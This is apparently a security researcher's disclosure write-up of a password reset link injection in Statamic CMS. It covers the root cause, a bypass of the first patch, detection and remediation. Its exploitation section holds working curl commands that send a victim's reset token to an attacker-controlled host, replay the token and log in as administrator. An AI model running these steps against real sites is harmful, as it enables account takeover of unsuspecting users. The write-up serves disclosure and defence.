Logo
CVE-2026-27593: Statamic CMS Unauthenticated Password Reset Link Injection

CVE-2026-27593: Statamic CMS Unauthenticated Password Reset Link Injection

June 12, 2026
10 min read
index

CVE-2026-27593: Statamic CMS Password Reset Link Injection to Account Takeover

Category
Flat-file CMS
Built On
Laravel / PHP
GitHub
Notable Users
Indie publishers, agencies, marketing teams

Statamic is a developer-friendly flat-file CMS built on Laravel, popular with small-to-mid-size publishers, agencies, and marketing teams. It ships with first-party addons including SEO Pro for search optimization and Pro for member sites and ecommerce, plus a templating language called Antlers used throughout content and views.

The Statamic CMS marketing site, 2026

TL;DR

  • I found an unauthenticated password reset link injection in Statamic CMS, reached through a _reset_url parameter on the frontend POST /!/auth/password/email endpoint.
  • Statamic accepted that parameter as the base URL for the reset link and never checked that it belonged to the site, so an attacker can point it at a server they control.
  • The victim then receives a genuine reset email, sent from the real application, with a valid reset token appended to the attacker’s URL. One click leaks the token.
  • The attacker replays the stolen token against Statamic’s own reset endpoint, sets a new password, and logs in. Any account works, including super administrators.
  • Statamic shipped a first patch that validated the URL with Str::startsWith() and no path boundary. I bypassed it with a look-alike domain (example.com.evil.com), and the complete fix landed afterwards.
  • Affects < 5.73.10 and >= 6.0.0-alpha.1, < 6.7.1 (CVE-2026-27593, GHSA-jxq9-79vj-rgvw), fully fixed in 5.73.10 and 6.7.1.

Summary

Statamic CMS trusted a request-supplied _reset_url value as the base of the password reset link without checking that it pointed at the application’s own domain, so an unauthenticated attacker could have a valid reset token delivered to a server they control and take over any account.

Vendor
Statamic
Vulnerable Versions
< 5.73.10 and >= 6.0.0-alpha.1, < 6.7.1
Fixed Version
5.73.10 (5.x) and 6.7.1 (6.x)
CVSS
Critical 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)
Verified On
Statamic 6.3.1
Danger (Unauthenticated → Super Admin takeover)

No account, no privileges, no host header tricks. A single anonymous request causes the real application to email a valid reset token to an attacker-controlled host. One click from the victim hands over the account, super administrators included.

A single unauthenticated HTTP request is enough to send a victim a password reset email pointing at an attacker’s server. The email is legitimate in every way that matters to the recipient, it comes from the real application, carries the real branding, and passes the usual sender checks, so the only thing wrong with it is the hostname in the link. When the victim clicks, the valid reset token lands on the attacker’s listener, and account takeover follows.

Introduction

I was poking at Statamic’s frontend authentication scaffolding, the login, registration, and password reset flows that ship out of the box for member-facing sites. The password reset flow is always worth a close look, because the whole mechanism turns on a single secret (the reset token) only ever reaching the legitimate user. Anything that influences where that token is delivered is interesting.

Statamic exposes the reset request at POST /!/auth/password/email, and that endpoint accepts a _reset_url field. The intent is convenience: a developer can tell Statamic which page on their own site hosts the reset form. The problem is that Statamic took the value at face value. There was no check that the URL belonged to the application, so a request could name any host, and Statamic would happily build the reset link on top of it.

That is the entire bug. An unauthenticated parameter chooses the base URL, the real token is appended to it, and the email goes out from the real server. It is a cleaner variant of classic password reset poisoning, because there is no host header trickery to coax the application into reflecting, the parameter is honoured directly. This is a textbook instance of CWE-640: Weak Password Recovery Mechanism for Forgotten Password, where the recovery channel itself becomes the path to compromise.

Root Cause Analysis

The Reset URL Parameter

The entry point is sendResetLinkEmail() in src/Http/Controllers/ForgotPasswordController.php.

src/Http/Controllers/ForgotPasswordController.php
public function sendResetLinkEmail(Request $request)
{
if ($url = $request->_reset_url) { // [1] attacker-controlled value read straight from the request
PasswordReset::resetFormUrl(URL::makeAbsolute($url)); // [2] normalised, then stored as the reset base URL
}
return $this->traitSendResetLinkEmail($request);
}

The controller reads _reset_url directly from the request body at [1]. There is no authentication on this endpoint and no validation on the value. Whatever the attacker supplies is passed to URL::makeAbsolute() and then stored as the base URL for the reset link at [2]. The one function in this path that could reject a hostile URL is makeAbsolute(), so that is where the trust has to be enforced.

makeAbsolute Returns External URLs Unchanged

It is not enforced. makeAbsolute() in src/Facades/Endpoint/URL.php explicitly passes external absolute URLs straight through.

src/Facades/Endpoint/URL.php
public function makeAbsolute(?string $url): string
{
// If URL is external to this Statamic application, we'll just leave it as-is.
if (self::isAbsolute($url) && self::isExternalToApplication($url)) {
return $url; // [3] external absolute URLs returned verbatim
}
// ...
}

The helper detects that a URL is external and, instead of rejecting it, returns it unchanged at [3]. The inline comment states the behaviour outright. So an https://evil.com/steal value sails through normalisation untouched and becomes the stored reset base URL.

Token Concatenation

The final piece is url() in src/Auth/Passwords/PasswordReset.php, which builds the link the victim actually receives.

src/Auth/Passwords/PasswordReset.php
public static function url($token, $broker)
{
// ...
$url = static::$url
? sprintf('%s?token=%s', static::$url, $token) // [4] real token appended to the attacker-controlled base URL
: $defaultUrl;
// ...
}

At [4], the legitimate, valid reset token is concatenated onto the stored base URL with sprintf. Nothing in this chain ever asks whether static::$url is the application’s own domain. The result is a working reset link, signed with a real token, that points wherever the attacker said.

Putting the three together: the controller takes the URL at [1] and [2], makeAbsolute() waves external URLs through at [3], and url() glues the real token onto it at [4].

Exploitation

Preconditions

  • A Statamic site with frontend user accounts and the password reset flow enabled (the default for member-facing sites).
  • The attacker knows the email address of a target account. Super administrators are valid targets.
  • The victim clicks the reset link in the email. Because the email is genuine and comes from the real site, this is a low bar.

The attacker never authenticates anywhere and never needs a Statamic account of their own.

Capturing the Token

The attacker only needs a listener to catch the token, for example python3 -m http.server 1234. TARGET, ATTACKER, and STOLEN_TOKEN are placeholders.

First, grab a CSRF token from the login page:

Terminal window
CSRF=$(curl -s -c cookies.txt 'http://TARGET/cp/auth/login' | \
grep -oP '"csrfToken":"[^"]*"' | grep -oP ':"[^"]*"' | tr -d ':"')

Then send the poisoned reset request, naming the attacker’s server in _reset_url:

Terminal window
curl -s -D- -c cookies.txt -b cookies.txt \
'http://TARGET/%21/auth/password/email' \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "_token=${CSRF}&email=admin@test.local&_reset_url=http://ATTACKER:1234/steal-token"
# HTTP/1.1 302 Found (email sent)

The victim receives a real reset email whose link carries a valid token on the attacker’s host:

http://ATTACKER:1234/steal-token?token=9a361f1045c4dbb53047a70fd176aaac5c0bdf06151b81b9130a841c7e467db8

The instant they click it, the token hits the attacker’s listener.

Important (The email is real. Only the link's host is wrong.)

The bug does not fire on send. It fires on click. The reset email arrives from the real Statamic instance, with the real branding, the real sender address, and a valid token. Every signal a user is trained to check (sender domain, SPF/DKIM/DMARC, “did I request this?”) passes. The only thing wrong with it is the hostname in the link, and most users will not notice that before clicking.

Password reset email captured in MailHog with the reset link pointing at the attacker's host

Account Takeover

With the token captured, the attacker drives Statamic’s own reset endpoint to set a new password:

Terminal window
CSRF=$(curl -s -c cookies2.txt 'http://TARGET/cp/auth/login' | \
grep -oP '"csrfToken":"[^"]*"' | grep -oP ':"[^"]*"' | tr -d ':"')
curl -s -D- -c cookies2.txt -b cookies2.txt \
'http://TARGET/%21/auth/password/reset' \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "_token=${CSRF}&token=STOLEN_TOKEN&email=admin@test.local&password=pwned123&password_confirmation=pwned123"
# HTTP/1.1 302 Found (password changed)

And logs in with it:

Terminal window
curl -s -X POST 'http://TARGET/cp/auth/login' \
-H "Content-Type: application/json" \
-H "X-CSRF-TOKEN: $CSRF" \
-H "X-Requested-With: XMLHttpRequest" \
-d '{"email":"admin@test.local","password":"pwned123"}'
# HTTP 200 "Authenticated"

I verified the full chain (token capture, password reset, control panel login) end to end against Statamic 6.3.1. Targeting the super administrator’s email gives complete control of the site.

Patch Diffing

Statamic’s maintainer was responsive and shipped validation quickly. The first fix added a check in sendResetLinkEmail() that compared the submitted URL against the site’s own configured URLs with Str::startsWith(), allowing it only if it began with a known site URL.

Warning (The first patch shipped but did not actually close the bug)

The interim 6.x release (6.3.3) added a validation check that looked correct at a glance. Because the check used a bare prefix match, it accepted any attacker-registered domain whose name happens to start with the site URL. The full fix did not land until 6.7.1.

That check has a boundary problem. Str::startsWith() only compares a string prefix, it does not require the match to end at a / or at the end of the host. So any domain that merely begins with the site URL passes:

Site URL: https://example.com
Attacker URL: https://example.com.evil.com/steal-token

Str::startsWith('https://example.com.evil.com/steal-token', 'https://example.com') returns true. The attacker registers example.com.evil.com, a domain they fully control, and the reset URL is treated as internal.

I applied the patch locally and confirmed the bypass end to end. A plain external domain was correctly rejected, but a prefix-matching subdomain slipped through and the reset email was sent with the token on the attacker’s host:

  • http://evil.com was blocked (HTTP 422)
  • http://localhost:8080.evil.com/steal-token passed validation (HTTP 200) and delivered the token to the attacker

MailHog showing the password reset email delivered with the valid token pointing at the attacker's look-alike domain

The fix is to anchor the comparison at a path boundary by ensuring both URLs end with / before comparing:

$isExternal = Site::all()
->map(fn ($site) => Str::ensureRight($site->absoluteUrl(), '/'))
->filter(fn ($siteUrl) => Str::startsWith(Str::ensureRight($url, '/'), $siteUrl))
->isEmpty();

With the trailing slash enforced on both sides, https://example.com/ no longer matches https://example.com.evil.com/, because the attacker URL does not start with https://example.com/. The maintainer accepted both the original report and the bypass:

Both great additions. I’ve resolved them in PR #14023 (5.x) and PR #14016 (6.x). I’ll get releases and advisories out shortly.

The advisory records the outcome: the 5.x fix in 5.73.10 was sufficient, the original 6.x fix in 6.3.3 was not, and the 6.x line was fully resolved in 6.7.1.

Tip (What good disclosure looks like)

Statamic’s maintainer responded quickly, accepted the original report, took the bypass seriously, shipped a complete fix, and published the advisory. This is the well-handled case, and a useful counterpoint to vendors who classify reports as out-of-scope and decline to patch.

Detection

If you suspect prior exploitation, the access logs are the place to look. Any POST /!/auth/password/email request whose form body includes a _reset_url value whose host does not belong to the site is suspicious by definition. On a stock Statamic install, no legitimate client should ever supply this parameter at all, so any non-empty _reset_url from an untrusted source is worth a closer look. Cross-reference with the mail queue or outbound mail logs to identify which reset emails went out with attacker-controlled base URLs.

Remediation

Tip (Upgrade to a fully-fixed release)

Update Statamic to 5.73.10 or 6.7.1 (or later) depending on your branch. Both releases validate _reset_url against the application’s own domain with a proper path boundary, so a request can no longer redirect the reset link to an external or look-alike host. If you cannot patch immediately, the safest stopgap is to disable the frontend password reset flow until you can. Note: 6.3.3 is not sufficient — the prefix-match bypass is exploitable on that release.

Disclosure Timeline

02/18/2026
Reported to Statamic, verified on 6.3.1
02/2026
Initial validation fix shipped in 5.73.10 (5.x) and 6.3.3 (6.x)
02/23/2026
GHSA-jxq9-79vj-rgvw published by Statamic
02/24/2026
CVE-2026-27593 assigned; published to GitHub Advisory Database and NVD
02/2026
Follow-up report: 6.3.3 prefix-match fix was bypassable via a look-alike subdomain
03/2026
6.x fully fixed in 6.7.1; advisory updated to reflect complete fix
06/12/2026
Public write-up

Conclusion

The root bug was a textbook one: a security-relevant URL came from the request, and nobody checked it belonged to the site before signing a real token onto it. What made the story more interesting was the patch. The first fix looked right, it compared against an allowlist of site URLs, but it compared with a bare prefix match, and example.com.evil.com starts with example.com. A prefix check is not a domain check. Both the original flaw and the bypass came down to the same missing thing: a boundary that was never enforced, first on the domain, then on the match.

References